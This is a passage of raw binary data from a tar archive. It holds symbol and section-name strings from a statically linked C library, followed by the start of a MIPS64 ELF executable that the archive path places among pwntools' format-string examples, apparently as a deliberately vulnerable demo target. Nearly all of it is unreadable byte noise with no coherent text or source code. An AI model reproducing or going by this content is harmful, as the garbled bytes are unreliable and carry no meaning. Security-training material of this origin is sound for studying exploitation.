t_extract_plural__mmap__mprotect_dl_catch_exception__gconv_path_envvar_Unwind_GetRegionStart__add_to_environ__parse_one_specwc_itoa_word__tdestroy__rawmemchr__getcwd__mbsrtowcs_l__strtol_internal_nl_category_name_idxs_gp__woverflow__gconv_lookup_cache_dl_higher_prime_numberqsort__gconv_modules_db_IO_wdo_write__read_dl_strtoul_dl_init__gconv_load_cache_IO_switch_to_wget_mode__exit_funcs__gettextparse_IO_default_xsputn__mpn_lshift__TMC_END___nl_load_locale_dl_try_allocate_static_tlsperror_dl_addr_inside_object__gconv_find_shlib_nl_unload_locale__DTOR_END____libc_scratch_buffer_set_array_size__libc_dlsym_private__overflow__fini_array_end__btowc__mpn_mul__strtol_ul_max_tab_dl_non_dynamic_init__internal_atexit__mpn_submul_1_nl_current_default_domain__letf2__open__strtod_nan_IO_unsave_markers____strtof_l_internal__gettext_germanic_plural__wcsmbs_getfct__get_child_max_dl_protect_relro__strerror_r__wcsmbs_load_conv__mpn_impn_sqr_n_nl_C_LC_ADDRESS__mpn_impn_mul_n__current_locale_name__mpn_construct_float__strsep__new_exitfn__libc_alloca_cutoff__dcgettext_dl_discover_osversion_dl_signal_exception__strtoul_internal__ctype_init__getgid__lseek64__libc_read__fxprintf__libc_disable_asynccancel__gconv_find_transform__xstat64_dl_allocate_tls_storage__libc_realloc_dl_scope_free_nl_intern_locale_data_dl_lookup_symbol_x_nl_cleanup_ctype__libc_setlocale_lock_dl_close__unordtf2_IO_fputs__open_nocancel__gconv_max_path_elem_len__mpn_divrem__sigsetjmp_nl_find_domain_IO_file_close_it____strtod_l_internalstrrchr__libc_check_standard_fds__mpn_construct_double__setitimer__strtold_internal__readonly_area_nl_locale_subfreeres__dcigettext_dl_add_to_namespace_list__mpn_construct_long_double_IO_str_jumps__exit_funcs_done_dl_debug_printf_c__get_nprocs__isatty__fortify_fail_abort_nl_state_lock__profile_frequency__stpcpy__mmap64__gettimeofday__printf_fp_l__deregister_frame_info__openat64_nocancel_dl_init_paths__hash_string__gconv_open_Unwind_Resume_nl_current_LC_CTYPE__readdir64____strtold_l_internal__gconv_release_shlib_nl_C_LC_MONETARY__read_nocancel__fopen_internal__libc_register_dl_open_hook_IO_padn_IO_getline_info__parse_one_specmb__readdir_IO_stdout_dl_dst_substitute_fpioconst_pow10__gconv_close__wcrtomb__deregister_frame_info_bases_IO_flush_allstrstr_IO_adjust_column__libc_errno__correctly_grouped_prefixmb_IO_vtable_check__xstat64_conv__mpn_extract_doublestrncmp_nl_C_LC_COLLATE__run_exit_handlers__libc_malloc__libc_free_wordcopy_bwd_dest_aligned__opendir__printf_arginfo_table_dl_open__fileno__getegid_IO_wfile_jumps_maybe_mmap_dl_debug_initialize__argz_create_sep__strdup__gconv_alias_compare__cxa_atexit__wmemmove__brk_nl_Cmemcmp_IO_file_jumps_maybe_mmap__profil__mpn_add_n_nl_current_LC_NUMERIC____strtoul_l_internal_Unwind_RaiseException__sched_yield__strcasecmp_l_itowa_lower_digits_dl_get_origin_IO_free_wbackup_area__libc_malloc_initialized_dl_name_match_p__getpagesize__mbrtowc__dlopen_IO_free_backup_area_nl_C_LC_TIME_itoa_lower_digits__fini_array_start_nl_C_locobj__underflow__gconv_get_builtin_trans__fxstatat64_Unwind_SetIP__rewinddir_dl_random__abort_msg__get_nprocs_conf__gconv_release_step_IO_wdefault_xsputn__wmempcpy__wcsmbs_gconv_fcts_c__gconv_lock_dl_cache_libcmp_dl_relocate_object__init_array_endtime__wunderflow__uflow__register_frame_info_table_bases_dl_dst_count__assert_fail_nl_C_name_nl_find_msg__fgets_unlocked__memmem__lseek_nl_default_dirname_nl_POSIX_name__twalk_IO_getline_dl_allocate_static_tlsstrcmp__mpn_rshift_nl_C_LC_MEASUREMENT__libc_scratch_buffer_grow_preserve_nl_find_locale__mbsrtowcs__printf_function_table__multf3__wmemset_nl_C_LC_TELEPHONE__libc_enable_asynccancel_IO_setb_IO_file_fopen_dl_sort_maps__write_nocancel__qsort_r__clz_tab__mempcpy_dl_unload_cache__madvise__wcsrtombs_IO_file_doallocatestrcspn_wordcopy_fwd_dest_aligned__gconv_compare_alias_cache_libc_intl_domainname__gconv_path_elem__tens__getclktck_Unwind_GetTextRelBase__lxstat64__strtold_nan_IO_file_jumps__preinit_array_end__close_nocancel__new_exitfn_called_nl_finddomain_subfreeres_nl_category_name_sizes_dl_next_tls_modid__handle_registered_modifier_mb_dl_mcount_wrapper_check_IO_stderr__mremap__printf_fphex_Unwind_GetLanguageSpecificData__strndup__uname__gconv_read_conf__libc_dlclose__gconv_close_transform_dl_tls_get_addr_soft_IO_file_attach__libc_secure_getenv_nl_C_LC_NUMERIC_IO_file_open_dl_map_object_nl_archive_subfreeres__close__fxstat64__mpn_mul_1__getuid_itoa_upper_digits_IO_switch_to_get_mode_dl_fixup_IO_vfscanf_IO_do_write__fdopendir__strtof_internal_nl_locale_file_list__gconv_release_cache__sysconf__sigaction__gconv_compare_alias__tfind_nl_global_locale__strtof_nan_dl_dprintf__strncasecmp_l_IO_doallocbuf_dl_signal_error__stack_prot__strtol_ul_rem_tab__libio_codecvt__errno_location__closedir__libc_message_Unwind_SetGR_IO_new_file_init_internal____strtoull_l_internal__munmap__gconv_transliterate_IO_stdin_IO_wsetb_IO_wfile_jumps_mmap_nl_C_LC_MESSAGES_IO_vfprintf__wcsmbs_named_conv_dl_aux_init_itowa_upper_digits__assert_fail_base_nl_category_names__init_array_start__setfpucw__sigprocmask_setjmp_exit__alloc_dirstrspn__getdents64_nl_default_default_domain__libc_argv__lll_lock_wait_private__libc_dlsym_dl_show_scope__libc_write__fcntl__clearenvstrchr_dl_add_to_slotinfo__gconv_alias_db_Unwind_GetDataRelBase_dlerror_run__libc_fatal__get_phys_pages__sbrk__printf_va_arg_table_IO_list_all__argz_add_sep__libc_dlopen_mode__unsetenv_dl_sysdep_read_whole_file__preinit_array_start_nl_current_LC_MONETARY__openat_nocancel_dl_addr__get_avphys_pages__handle_registered_modifier_wc_nl_C_LC_PAPER_dl_catch_error_IO_un_link_IO_default_pbackfail__register_frame_info__pointer_chk_guard_local__sysinfo__wmemcpy_dl_close_worker__geteuid_wordcopy_bwd_alignedraise__towctrans_IO_file_jumps_mmap__libc_register_dlfcn_hook_dl_map_object_deps_nl_C_LC_IDENTIFICATION_nl_load_locale_from_archive__stack_chk_fail_local__isoc99_scanf_nl_C_LC_CTYPE_class_print__morecore_dl_runtime_pltresolve_IO_remove_marker_IO_wdefault_xsgetn_dl_vsym__malloc_hookgsignal_nl_C_LC_CTYPE_class_upper__gconv_transform_utf8_internal__default_morecore_IO_file_finish_nl_C_LC_CTYPE_width__fxprintf_nocancel__dlinfo_Unwind_GetIP__register_printf_modifier_IO_list_lock_fdata_IO_default_doallocate__strtoull_l_IO_new_file_xsputn_IO_least_wmarker_IO_default_sync__register_frame_IO_file_sync__strtoull_internal_IO_seekwmark_nl_C_LC_CTYPE_class_xdigit_IO_file_write_dl_find_dso_for_objectstrerror__gconv_transform_ascii_internal_dl_profile_output__gconv_transform_ucs2_internalstrtof32_Unwind_Resume_or_Rethrow__calloc_dl_make_stack_executable_IO_default_xsgetn_dl_exception_create__libc_stack_end_IO_enable_locksfileno_unlocked__stack_chk_guard_dl_debug_fd_IO_vasprintf_IO_file_seekoff_mmap_nl_current_LC_NUMERIC_used_IO_fopen64_IO_sgetn_dl_use_load_bias_nl_domain_bindings__dprintf_dl_initial_searchlist_IO_file_seekstrtold__new_fdopen_dl_profile_fixup_dl_mips_gnu_objects_Unwind_Backtrace_IO_init_markerc32rtomb_IO_2_1_stdout___register_printf_function__mpn_mul_n_IO_new_file_init__strtold_l__openat64_nl_C_LC_CTYPE_class_cntrl__posix_memalign_IO_flush_all_linebufferedstrtof32_l_IO_fclose__strtoll_internal_nl_expand_alias__getdelim__wcschrnul_IO_default_underflow_IO_funlockfile__mallinfo__gconv_transform_ucs4le_internal_dl_platformlen_dl_tls_static_used__realloc_hook_Unwind_GetCFA___printf_fp_IO_fwrite_IO_default_setbuf_IO_sungetc__dlsym__gconv_get_cache_IO_new_fdopen_IO_fwide_IO_new_file_close_it_dl_debug_mask_IO_wfile_overflow__libc_memalign__memalign_IO_file_close__malloc_trim__dladdr_nl_msg_cat_cntr_nl_C_LC_CTYPE_class_dl_load_adds_IO_2_1_stdin___gconv_transform_internal_ucs4__stop___libc_IO_vtablesstrtollstrtof128_dl_wait_lookup_done_dl_mcount_wrapper_dl_deallocate_tls_nl_C_LC_CTYPE_class_graph_nl_C_LC_CTYPE_tolower_dl_profile__dso_handle_IO_switch_to_main_wget_area_dl_tunable_set_trim_threshold__libc_csu_fini_nl_current_LC_CTYPE_used_IO_str_init_readonly_IO_file_seekoff__libc_init_secure_dl_count_modids__exit_funcs_lock_dl_nothread_init_static_tls__frame_state_for__tunable_get_val_IO_adjust_wcolumn__tunables_init_IO_str_seekoff___brk_addr_IO_file_setbuf_IO_new_file_fopen__libc_mallinfo_IO_new_fopen__gconv_btwoc_ascii_IO_fdopen__wcslen_IO_default_write_IO_file_close_mmap_dl_tunable_set_mmap_threshold__libc_tsd_CTYPE_TOLOWER__gconv_transform_ucs2reverse_internal_dl_tls_static_align__environ_Exit_dl_tls_max_dtv_idx_nl_C_LC_CTYPE_map_toupper_nl_C_LC_CTYPE_class_punct__sigjmp_save__stack_chk_fail_dl_static_dtv_dl_bind_not__libc_enable_secure_IO_wpadn_nl_postload_ctype_dl_static_init__gconv_transform_ucs4_internal_dl_auxv__libc_dlvsym_nl_C_LC_CTYPE_class_digit_IO_str_pbackfail_IO_wfile_xsputn_IO_default_imbuestrtoqmbrtoc32__libc_lseek64__dlmopen__tls_get_addr_IO_default_read__register_frame_table__sys_nerr_internal_sys_nerr_dl_platform_IO_iter_begin_nl_C_LC_CTYPE_class32_dl_get_tls_static_info__strtol__ctype_tolower_loc__after_morecore_hook__start___libc_atexit__libc_enable_secure_decided_dl_exception_free_IO_file_stat_dl_start__register_frame_info_bases_IO_wfile_sync__libc_pvalloc__strtoll_lstrtod_IO_vfscanf_internalrindex__tunable_set_val__guess_grouping__libc_valloc__strtod_l_nl_C_LC_CTYPE_map_tolower_IO_str_finish_nl_normalize_codeset_dl_tls_static_size_IO_default_showmanyc_dl_lazy_dl_debug_state__gconv_transform_internal_ascii_IO_str_overflow__malloc__malloc_fork_lock_parent__start_IO_file_xsgetn_IO_cleanup_dl_argv_IO_default_seekpos__free__dlclose_Unwind_DeleteException__fpu_control__gconv_transform_internal_ucs2_IO_new_do_write_IO_file_underflow_nl_make_l10nflist_IO_no_init__strchrnul_tens_in_limb_IO_file_overflowstrtof64x__libc_open64_IO_str_init_static_dl_tls_dtv_slotinfo_list_dl_tunable_set_tcache_unsorted_limit_dl_allocate_tls_init_ftext__progname_dl_sysinfo_map__stop___libc_atexit_IO_new_fclose_IO_iter_file_IO_flush_all_lockp__lttf2__libc_init_first_dl_inhibit_cachestrtof128_lstrtof64x_l__GI___getrlimit_dl_tunable_set_top_pad_IO_fprintf_nl_explode_name_IO_vfwprintf_IO_wdefault_doallocate_dl_tunable_set_perturb_byte__malloc_fork_unlock_child_IO_marker_delta_IO_file_underflow_mmap_IO_sungetwcprogram_invocation_short_name_IO_str_count_IO_file_underflow_maybe_mmap__pvalloc_nl_C_LC_CTYPE_class_space_dl_check_all_versions_dl_tls_dtv_gaps_IO_file_xsputn__start___libc_IO_vtables_IO_wmarker_delta_dl_hwcap2__GI_getrlimit__libc_mallopt_IO_default_stat_IO_new_file_sync_dl_tunable_set_mmaps_max_nl_C_LC_CTYPE_toupper_IO_marker_difference_dl_phdr_nl_remove_locale__syscall_error_IO_file_init__libc_close__getrlimit64_dl_nns__libc_csu_init_dl_scope_free_liststrtoull__bss_start__libc_open__gconv_transform_internal_utf8_IO_default_uflow__strtol_l_dl_start_profile_dl_origin_path__wcsnlen__malloc_info_nl_current_LC_MONETARY_used_sys_errlist_IO_new_file_finish_dl_tls_generation_IO_new_file_attach__fortify_fail_dl_clktck__xstat_conv_dl_dynamic_weak_IO_vfprintf_internal_dl_tunable_set_tcache_max_dl_mips_platforms_IO_least_marker_IO_switch_to_wbackup_area_IO_list_resetlock_dl_tunable_set_mallopt_check_dl_call_pltexit__dlvsymllseek_IO_wdefault_uflow__gconv_get_alias_db__memchr__malloc_check_init__fopen_maybe_mmap_dl_rtld_di_serinfo__libc_openat64_dl_sysinfo_dso_nl_C_LC_CTYPE_class_alnum__deregister_frame__dl_iterate_phdr__register_printf_type__dladdr1strtof32x_l____strtoll_l_internal_IO_new_file_setbuf_IO_wfile_seekoffstrtof_IO_wfile_underflow_IO_init_wmarkersetlocale__libc_tsd_CTYPE_B_IO_file_read_nl_C_LC_CTYPE_class_blank__libc_setup_tls___asprintf__strtof_l_dl_tunable_set_tcache_count_dl_init_static_tls__fcntl_nocancel_Unwind_FindEnclosingFunction__strsep_g_IO_str_init_static_internal__wctrans_dl_stack_flags_dl_mcount__libc_lseek_IO_fopen_IO_wdefault_finish_IO_new_file_write__ctype_b_loc_dl_init_all_dirs_dl_allocate_tls_dl_tls_static_nelem__gconv_get_modules_db_IO_sputbackwc__opendirat_dl_tunable_set_arena_max_IO_unsave_wmarkers__libc_tsd_LOCALE_IO_list_unlock_Unwind_ForcedUnwind_edata_dl_load_lock_GLOBAL_OFFSET_TABLE__fitoa_wordstrtof64_lstrtof64_IO_getdelimstrtouq__new_fclose_dl_fpu_control__wuflow__libc_calloc__curbrk__vfwprintf_dl_verbose_IO_default_seekoff_dl_phnum_flushlbf_dl_exception_create_format_dl_profile_map_IO_switch_to_backup_area__dlerror__free_hook__gconv_transform_internal_ucs4le__libc_tsd_CTYPE_TOUPPER__malloc_usable_size__openat__strtoul_lDW.ref.__gcc_personality_v0__fprintf_dl_hwcapstrtof32x_IO_wfile_doallocate__open64_nocancel_nl_C_codeset_dl_initfirst_IO_str_underflow__ctype_toupper_loc__funlockfile_IO_stdin_used_dl_load_write_lock__sigsetjmp_aux_Unwind_GetGR__libc_start_main_IO_init_internalprogram_invocation_name__malloc_fork_unlock_parent_IO_init__strtoul__gconv_transform_internal_ucs2reverse_nl_C_LC_CTYPE_class_lower_dl_all_dirs__setenv__realloc_IO_iter_end__mallopt_quicksort_IO_new_file_underflow__data_start_dl_sym_IO_default_seek__tdelete_r_debug__malloc_stats_IO_wdefault_pbackfail__sys_errlist_internal_dl_osversion_IO_new_file_overflow_IO_new_file_seekoff_dl_tunable_set_arena_test___vfscanf__open64__register_frame_info_table_IO_file_setbuf_mmap_fbss_dl_make_stack_executable_hook_dl_inhibit_rpathaligned_alloc_IO_vdprintf_dl_correct_cache_id__new_fopen_IO_iter_next_dl_pagesize__valloc__memalign_hook_IO_2_1_stderr___progname_full_IO_switch_to_main_get_area_IO_seekmark_nl_C_LC_CTYPE_class_alpha_IO_old_init_dl_ns.symtab.strtab.shstrtab.MIPS.abiflags.MIPS.options.note.gnu.build-id.rel.dyn.init.text__libc_freeres_fn__libc_thread_freeres_fn.fini.rodata.eh_frame.note.ABI-tag.gcc_except_table.tdata.tbss.fini_array.ctors.dtors.data.rel.ro.data__libc_subfreeres__libc_IO_vtables__libc_atexit__libc_thread_subfreeres.got.sdata.sbss.bss__libc_freeres_ptrs.comment.pdr.gnu.attributesp* *p  28 44$K  44T 6p6pZ 77b` r  ((L  K` K`>   x x  @    I@  H H H! 0 0/ 8 8H @ @xM  T  pZ 0 _ / (s0 *| fo ~ ~h"  %a Gallopsled-pwntools-3ad86ec/examples/fmtstr/printf.mips64el000077500000000000000000027105001507273764500242360ustar00rootroot00000000000000ELF8 @@ @8@$#p      Е Е Е x44 4 $$   x x x  `RtdЕ Е Е 0J0J@(0 (0 (0 (0 (0 (<0 (0 (0 (|0 (0 (|?0 (0 (0 (0 (0 (0 (0 (0 (O0 (0 (|0 (|?0 (0 ($0 (0 (0 (0 (|0 (0 (0 (20 (0 (0 (0 (0 (0 (0 (0 (0 (?0 (0 (0 (0 (<0 (?0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 ( 0 (0 (<00 (t0 (0 (t0 (?0 (0 (0 (0 (0 (0 (0 (P0 (D0 (t0 (0 (0 (?0 (t0 (0 (@0 (20 (?0 (0 (20 (0 (0 (<0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (<0 (0 (0 (0 (0 (?0 (0 ( 0 (<0 (0 (0 (0 (0 (0 (00 (?0 (|0 (0 (0 ( 0 (80 (0 (|0 (0 (0 (0 (0 (40 (0 (0 (?0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (\0 (0 (0 (0 (0 (r0 (0 (0 (?0 (0 (0 ( 0 (20 (0 (0 (0 (0 (0 (0 (0 (0 (?0 (0 (0 (0 (0 (0 (0 ({0 ({0 (0 (0 (0 (?0 (0 (0 (|0 (|0 (0 (?0 (|0 (|0 (|0 (0 (40 (|0 (0 (0 (0 (|0 (@0 (H0 (0 (0 (0 (?0 (0 (0 (0 (<0 (<0 (0 (0 (0 (?0 (0 (0 (?0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (<0 (0 (|0 (<0 (|0 (0 (0 (?0 (0 (0 (0 (?0 (0 (0 (0 (0 (|0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (t0 (40 (20 (20 (20 (0 (0 (0 (0 (0 (0 (?0 (0 (0 (0 (0 (_0 (0 (0 (?0 (0 (0 (0 (|0 (|0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 (|0 (0 (0 (0 (0 (0 (0 (0 ( 0 (0 (0 (0 (+0 (0 (0 (0 (0 (0 (40 (|0 (0 (0 (0 (0 (?0 (?0 (0 (0 (0 (0 (0 (0 (0 (0 ( 0 (0 GNUVb63u3.g <-Kgؓ@ؓ %  $% @%0%( 'hn(fpgz$ ߠp,0d@-H@$pdp$(ȁЁ"cd$367(phP@X8-R-b$d؁`xHbg0S6Dc.(H W`-`bf$$ $%`S`S8ef/%H`%$%8$ $$;|bD4-b-g0 <- @g( /8%% %%%0%(`% @ 1ff聙/ %%0%(`% @ 1ff80( @gg <-@?g(/P `Bdqd-$1f f2 ( 0gg` <->gxcXPH@8h%%%%%(@x%( $F€F@hPGdL@keg%P%H%@`%(@ g6@h 6d%  D(ߐCddB$/-D$C%H$$$%(@% z$C%@ Dd0)f8D%A @Hߓ^ P@Gd߰$xdFu$PhPf%XzHg <-WP߃   gB@f @%`%(%(% ߨ߃yg <-Pg%%;|@rdpfb Rp`$$p $@rbB$`b$m%(*R%@b$B$@bNb߸g`p$p B(@% `$$%8J$ g%(@bl$@%@ 0B.@%H%@$$%(@r% $C%@ߥn% <$B$9bZT$@%@$,ï  -(- f,(ǯ08Xï<d- B0`@hԯ<$B$|"%@`  ||$$4|$~ jX(@ &}f-C@-@ߠߠBdߠߐLdߠߨKdhߠp;Jd- pIdߠ(߰eeegxCd |"8|B|<'-$|-8GP$GI$%%8B 8%dd<9'B|-w% `#rC$BC%  n% 'bS% @@%@;|%`-%@%%%`%0%(@ % @$/-B% % m<B$Fb<B$UbH߰ߛS$@%@ߠ|"$$,ïůS (| ||#,%$$%8`0|||%4&-(- ,(Ư08FXï$B0`#@hԯ@HPДp@xД%( ghЂ% g%8PdN%( $Dȃ% @g gb@ g H߉U@H@%(@q% HU% b% wU% HYR$$'I$H%< |$$|d$<B$b@%(@p% yb߬@ h@pxHPU( Y'"% <$(,|" |B|$$-|- e$|(%8@d-DXgP<B$߸ 8H0h@px%P%% 78 B|@"B|-bC|#c$+3`Qd%$^,Rf0B$0%-CH-bH8 cd8XBdb 0h@px߀@@HPHT(7Дߟ B@-bCc$+$%%(`% (ߠ |$$||#-$b+tn@b|-"D g-(RďÏ|-%@`G$2!. A4x9gș9 8$}%%T1$-3$2$TZn%B|-V|h%vT% bB^@%d$[%@i$X% o$U%`u$Rgx$ X$kPhI BdT6$GC%@ |H߰8!!R- @%H@0 8-"-b%P-XbX%ߐ%8hP@`%`%@p (%h$g7B|"C|-b|"B$+c@$^~@8-b %-bx8%@%p$%%H]8ߠ|"B|-CD|# |c|$$-WC|"B|$H%@%xH%8&%B$gCRf0%PX@`%%hJpX%(`%0l/ `hȏ-DB|"$dsC-bB$+ $cdB|-B@cdb|"D$a 8-^-DCb|Qd%%% %%(-bQP%  % @%0@%( Lb-Bf||"#%@ `f|%(% @-F9b-/"~%@ݐ/ߠ%pv(e%80  Xŏ $80 8$#X#( |-bF +@! |-bF(ďe$! &TD@ʯHP``h! /B8bBB@%d$%@i$% o$ %`u$gx$GX$!Ph BdB@%d$%@i$% o$%`u$gx$X$h Bd%P9 %6$4$T%B@%d$%i$%o$%u$x$%X$P߿%`BdL$ E$T%TA$ES$%F$ A$TS$%T=T$%M$ A$TX$%T5%P$ T$TR$%T%%B@%d$%i$}%o$z%u$wx$t%X$Po%`m%TT$h%T8$c%B`@%d$]%i$Z%o$W%u$Tx$Q%X$mPL%`T8$G%Y41$43$46$44$<% Y41$|43$E46$>44$1% T ,% T2$&% B#@%d$ %i$%o$%u$x$%X$0P%` B @%d$ %i$%o$%u$x$%X$P%`% T % T2$% B@%d$%i$%o$%u$x$%X$P%` B@%d$%@i$% o$%`u$gx$AX$Ph߼ Bd Y6$4% B@%d$%@i$% o$%`u$gx$X$Phߞ Bd B@%d$%@i$% o$%`u$gx$ X$Ph߆ BdBdBdBd Y6$4z% Bw@%d$t%@i$q% o$n%`u$kgx$X$Phb Bd B_@%d$\%i$Y%o$V%u$Sx$P%X$lPK%`IBdG%EBdCBdßBJ ߀ALB-^- <-yPcdfy_܀g,dh <-:0g8xp(%`XPH@80/肙%%0X%(B% _ߠЮdЮk j i h g cFȮd% FK J I H G> C$@%@BC4B0<@#;|%`@8h@%@@`@߈gP@-Hx%0 $%`y% ?@ $p% %W%Ãe0x(-( 0 %@RfCb0x-B B0@ `#$bCfEG@cde0x-B B0B0@%`f0x-B B0@<$%0 "B0@%0 xq% XXC%%xph`XPH@80(g%,W% @%0 $%`% @ $"e`0x-B B0@udfhŀh0x-B B0@d $d hߐC@pB+ be% @,Y00% Fd 8`Jdm8P-`B-XH+ K$(/h- ,$ -H%( %  (0P8@p@88q /0( SHH%@@(/bPip8q@ /Oܰ- %(@(- 0^8 80߰%(%0@- ^B(B`pߠKhudUxBdPx@ߐE@ /Dyd $SX@x@@$d$@ /0`P8@@80 /@ߌH?%hC@pB+ bx)`-/@H% -(-hd$Hߢ%@@% %Xߘ%p6rgh <- g@0%% @xp`XPH@8(`$$ $@@߀Bކ@@X@胐zfߐV;:$BC`% w% @Bd% @BdCw`%%w+BdC`+6`/(DC`$a%@b$a B(:@xph`XPH@80(%g /^%@tf+@-z89-%0%]% A%`( B@ߦVb$a B(@x߁$Dd$%8J$ xph`XPH@80(%gHBdyBpDdq@ߟB0g <-`g0% % x%%% % `8@Wht2%@Vf% W% Pdb2%@%`H @-% W8Vdb2P@-% W@^db2%@%`X@-% WVd% W--- L(>@%@ %0@{]% @@% %% W%@:$' - -^d% % WW' ---`/$%(% @,]C`H`DdP``X``(߰fd/$N]C0W%%%( @% @%U@H@h%hߋ@H@ %@%% `% AW((' -Bdf-bU$C$bUUb2!b3$$D33c0!C!CC|B0!C$C8W L(d@%@P %(@% % W((' -(Bdg-$⮸@%@ %% % Wg' -Bd-$t&%`'P%H %-R(H$f@p&$Hߠ $$g <-֜gBD@H %%@ %H`edx-B@x-f d%(cd#@%H%@@%(` $xBdd-$cdE g $F$ @%@@Q$e%@ % gߠߠPPdl$0d@dg0 <-(՜g( %%%8`$$ $5@߸߈% @$SRQC$ B(@%@80( %@g$ B(@$߁$$%8J$ 80( %@g% f <-ycdyܩg <-H9)eX"g;|-CHȄ9g <-H9)eX"g;|-CHȄ9%8gg@ <-(H80 PӜg%t%%%$[%,[@chx-B B0 @%`fx-B B0@`-$eb+$b%0$ $~$%%Є-b؄g-D2yLwPhJxK%(%%H -fSG+ -bUd$c0 h,8 %|x-Ccc0E` - dc$c0* f>+  $;|-C$C%H@80( PgPrBB$~B,@Ht  f$%@%px cdee-( $|-(k H/M@$ $%%`%/B(@xBܸ-CCX$ b0$bf%%$[ $xBܸ-CCX$Tb$f$%P%%(@f?%xCܸ -ddX$Є$0g؄0$l%D%K% R@%@ff-0eDcdBd$% %" $;|-C"$CX$2:%(hJxKd#$ B,@%f%8 %Bd"ǀdhcd+Q@|x-BBB0 @߸ -dBAB(@dd%8@%0% %@$ $%$ $%( <-ycdȄy%@%8g@ <-(H80 ͜g?%%% %_K%+4` f $Od-h/`$ff+P*@-тBd%MHK-Ȃq%H  `DBdf% @Hdhcd+0@/d$!D*@% cd-#+@f+ H%@80( Pg)e.Je/n*`H% 9g%%`T Rf 3e+p@-P/%H``+0BQf% @dC`Bd+0@/itTT3e+p`-P/ `-HBQf% @ dC`Bd+0@H߮%JeMH%@80( Pgg <-ʜg0g0脙%0@(8@HPXo ( `gDdg <-Pʜg0g0%0@(8@HPX ( `g dg0 <-ɜg (B%8% @%@fhPf%$Ig%@@%8%0 `dx% `Bb80( @gcg0 <-Ȝg;|%(`-E8( % `F 80( %( % p9g@g% $R% @pYR%@hd% @@%@ % @p9g%( B B0@b B4b% @80( @g% `X޼pg@ <-ǜg( XP `hpx#B08H0%@%@;|sdS%@`$$ $?@߈HB$tXgD(B4%8%0`%(t t$$ c0%@@`tB$@#!%H@80( g%@$ B(@$$%8J$ bިct$$eB0%@@tB$@0 % $ B(@$$%8J$ 0gH <-0Ŝg(#P%X@80 5@%% =I%Td$+1@8߸8b% 4@4f:8/%@g%0g% JR$CH$#9X%PH@80( `g%0`%( % @P ;|-CO$C$+@ff=% @%@@g%0g% @R$ CHH% %@ߨ߆b%0`%( % @Hg@ <-HÜg0H"8(PX`hpx5%PgB0@;|rd R`$$ $1@߈B$ 9gS% c0`%@@B$@# %H@80(gP$ B(@$$%8J$ abg@ <-g0H"8(PX`hpx9%PgB0@;|rd R`$$ $5@߈B$t B6% 9gt%@@c0`tB$@# %H@80(gP$ B(@$$%8J$ /aߴag0 <- C08( gN`%C0R`@B|/`X߈B$r@Xޘ/ C/C+z@`Y%( % [@hߘC`$$A $t@p%`jH%`jB$A B(\@$ B PxBPBPH>% 8% 0( @gC0` C0;|qdq`$$ $:@߈c$ C0`C0D% %@c0H޿@%  $ B(@$$%8J$ X Yh$%8J$  {`% @pw`B0@%@B$@0 % $ B(@$$%8J$ 0g08(  <-r$༜gC%w$~Ca$C$;|-C$C%8%0( @gd%+$m$daC]D@xdx$%U% @$CC0G`#2`#2`C0W`F4%;($@%@Bd%`f"2A@ߘߠ%0%(% ߰% $$C%Qp12$"8Xޘ/ #/C+5@`߀9$%( % $C8;|-CC$b%%$d#2`#2$12$$X%0%(t% $%1U% @$xC$A 9g <-H0gB0@%Xޘ/ #/C+D@``9 % +c0`/@B$@% g;|qd Q`$$ $#@߈B$$ B(@$$%8J$ ߺ g `9O_B0@%@B$@0 % $ B(@$$%8J$ 0t <-(c0@d `%c0``XD0DD0g0 <-طg%($( 8%:%:@ߘ%@Gd% @%0%(Bd߰% ȅ%8%0`%(@% %+@tB0@8B0 @8% 0( @g@Xߠ0b8% 0( @g%0b% %H<% 8 <-yhcdЅyܟ$g@ <-Pg 9B%% (H80% `@/8@b88-8Ggg%C(H@80( Pg%$$Xb98jikd%@Xed%  `bS Tg$ c4ި^Pg <-gpX%dC0xh`Hz` B4DC+,`+ gy0LYXM8J%0`XEd% @Kd%H0g0`ML Ldc0+`$C؅;|- C4X$$Hctߠߘߐ߈߀xph`Xg8I/08/d-C@00d( B0@x"C0*`% ;|%tdt% `$$ $*@ވ%c$;|% `-d $$d8Xߘ߈B0$C/"B0@$B$@/% `%(؅0DDDD(D DD0g8g/4+UF@(@p9/0 % H@ސ-8$- X$X/f`$+fhY8*)%0%@%( % @0%0ܴ$LD$DP+/+%/@/8,?@%0% 2J%/4+U@( @p9/0 % @Q@#4$+@$%0%  /8G/%0 % $ 4;|-CX$C$$/0-p+ F肙 0D%  I- Y8*)%@%8@%0%( % @0/p) p-p 4$X?@dH;$$C腙 % HH;$$CM% 8$ B(@$$%8J$ ܥB/+U @` $"\% ;ޠߠߠߠd#$pdKd*]"B0@%@$B$@0 % $ B(@$$%8J$ 0gH <-gBXP@80( %%%efdU b+V@% % S@$0bu@$T$vXޘ//+T@`ߐ g % @@@% /+t``߀%0%(  % $C$0d8$0( 0ddd dd(dCXPH@80( `gD+$B0@ % @$< y % `_@DH`C0y/@XEd% `@ XCޠ/d- /b/"$.CX-"% % $;b9D07X8/ / d*($1*#/`B0 0g/$-%(% 9g( 0ggg gg(g@$$C Xޘ/ c/C+X@`߀y%0 % % XߘB0U@/8@/(b$(/%/C/*W+t ("*` %0 % y@%@%8/s+T#@`py8@/0 % %@*W@$%88 0C--8$% 9g( 0CCC CC(C@$$C-3% 0b7@% tb+T0`0Xޘ/ #/C+@`߀9$%( % $+Cސ0u3vܘw % 8@ޠ0`B/@޻@ g%   /#/Q$NCX-"A;|-C$C$<Bd4B0Cp% -"+ߘ@w % Pv % r@/"G`( /C-QdH9$$CQ% 80C( 0 CC(CCCqCޘ/ c/C+j@`߀y$%( % $C$Xn/6%0!/f$5%5i/C-Q/fb//"/CC%F$H9//Gd/Q^6% `% g-PQ%H@g%8%0 g %@% @Hߌ8z/4`yy8$</BdިZg <-g]%$ Cߠ0B%  Y  g$ gg0 <-(g %C08(%V` B4EC+(`+%`0C-`YXL8J%H`% @Kd%@XEdCC `LCB+b*@b#880( @g߾ $C$0C`@DH8$$C腙 % 0C;|- C4X$$;|% `-d $$dEZ`g <-`gPBܘxph`XH%8;%0(%cI 8g gg(g' %H%%%߸8%0`% %X%@-8g Xd %(@/0%  